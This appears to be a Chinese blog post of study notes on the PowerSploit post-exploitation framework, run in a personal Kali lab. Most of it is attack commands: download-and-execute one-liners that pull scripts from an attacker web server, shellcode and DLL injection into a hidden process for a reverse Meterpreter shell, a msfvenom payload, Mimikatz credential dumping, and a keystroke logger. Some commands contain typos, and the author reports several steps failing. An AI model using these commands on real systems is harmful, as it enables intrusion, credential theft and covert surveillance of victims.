PowerSploit是一款基于powershell的后渗透框架软件,包含很多powershell攻击脚本,主要用于渗透中的信息侦察、权限提升、权限维持,其github的地址为https://github.com/PowerShellMafia/PowerSploit
powershell的优点:
windows7以上默认安装
powershell脚本可以运行在内存中,不需要写入磁盘
可以从另一个系统中下载powershell脚本并执行
很多工具都是基于powershell开发的
很多安全软件并不能检测到powershell的活动
cmd.exe通常会被阻止运行,但是powershell不会
可以用来管理活动目录
这里通过kali下载powersploit,首先输入git命令下载程序目录
接着开启Apache服务
service apache2 start
把下载好的文件夹移到var/www/html目录,搭建一个简易的服务器,在网页中打开http://192.168.133.132/PowerSploit,如图:
PowersSploit各类攻击脚本相当得多,本文只介绍了实战中最常见的脚本。
CodeExecution模块下的Invoke-Shellcode脚本常用于将shellcode插入指定的进程id或本地powershell中,下面介绍两种常见的反弹meterpreter shell方法。
1.直接执行shellcode反弹meterpreter shell
001、设置监听
首先在msf里使用reverse_https 模块进行反弹,设置的内容如下:
启用后门模块exploit/multi/handler,并选择payload windows/meterpreter/reverse_https
002、生成载荷
003、在目标机powershell下下载
在目标机powershell下输入以下命令下载该脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.133.132/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
接着输入以下命令下载木马
IEX (New-Object Net.WebClient).DownloadString("http://192.168.133.132/test")
Invoke-Shellcode -Shellcode $buf -Force
-Force
的意思是不用提示,直接执行。
004、msf的监听页面成功反弹
“想象很美好,现实很骨感!上面这几步正常下来就会反弹,可是我在执行Invoke-Shellcode -Shellcode $buf -Force这句话时,疯狂报错,天哪!像疯了一样,看网上的教程也是大同小异,也没找到什么好的解决方案,于是问题暂存,而且我去看自己目标机的目录也并没有发现这两个文件啊,迷惑.jpg
如果哪位大佬知道如何解决,欢迎在评论区留言,小郝在此谢过大家!”
2、指定进程注入ShellCode反弹Meterpreter Shell
001、同样在目标机先输入以下命令:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.133.132/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.133.132/test")
002 查看系统进程
输入Get-Process命令或者ps命令查看当前进程
003、生成新进程
输入start-process c:\Windows\System32\notepad.exe -WindowStyle Hidden
创建一个新的进程,这里启动了一个记事本,并把它设置为隐藏的,在输入get-process命令查看进程,可以看到多了一个id为72976,名为notepad的进程。
004 进程注入
Invoke-Shellcode -ProcessID 72976 -Shellcode($buf) -Force
005 成功反弹
msf监听界面已经成功反弹
“ok!问题一毛一样,倒数第二步报错,没有成功!”
下面使用Code Execution模块下的另一个脚本Invoke-Dlllnjection,它是一个DLL注入的脚本
1 下载Invoke-Dlllnjection
同理还是下载脚本,输入以下命令
IEX (New-Object Net.WebClient).DownloadString("http://192.168.133.132/PowerSploit/CodeExecution/Invoke-DLLInjection.ps1")
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.133.132 lport=4444 -f dll -o /var/www/html/test.dll
把生成的test.dll上传到目标服务器的c盘之后,就能启动一个新的进程进行dll注入,这样可以使注入更加隐蔽,使用以下命令新建一个名为notepad.exe的隐藏进程。
start-process c:\Windows\System32\notepad.exe -WindowStyle Hidden
进行注入
Invoke-DllInjection -processID 2000 -DLL C:\test.dll
成功反弹
返回msf监听界面,在使用reverse_tcp模块进行反弹,发现反弹成功
Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也比较简单。
001 下载 Invoke-Portscan脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.133.132/PowerSploit/Recon/Invoke-Portscan.ps1")
002 进行扫描
Invoke-Portscan -Hosts 192.168.133.1,192.168.133.132 -Ports "80,22,3389"
Invoke-Mimikatz是Exfiltration模块下的一个脚本,它可以用来获取系统密码。
1、下载Invoke-Mimikatz脚本
IEX(New-Objection Net.WebClient).DownloadString("http://192.168.133.132/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
2、抓取hash
Invoke-Mimikatz -DumpCreds
推荐一篇文章:powershell + Invoke-Mimikatz.ps1获取系统密码
Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,功能相当强大,不仅仅有键盘输入记录,甚至能记录鼠标的点击情况,还能记录详细时间,实战时可以直接放入后台运行。
1、下载Get-Keystrokes脚本
IEX(New-Objection Net.WebClient).DownloadString("http://192.168.133.132/PowerSploit/Exfiltration/Invoke-Keystrokes.ps1")
2、抓取键盘记录
Get-Keystrokes -LogPath c:\test1.txt
今天的文章就是《web安全攻防》的学习笔记和实践过程,好多都没有成功,如果哪位大佬发现了我的错误,烦请指正,继续摸爬滚打中。。。。。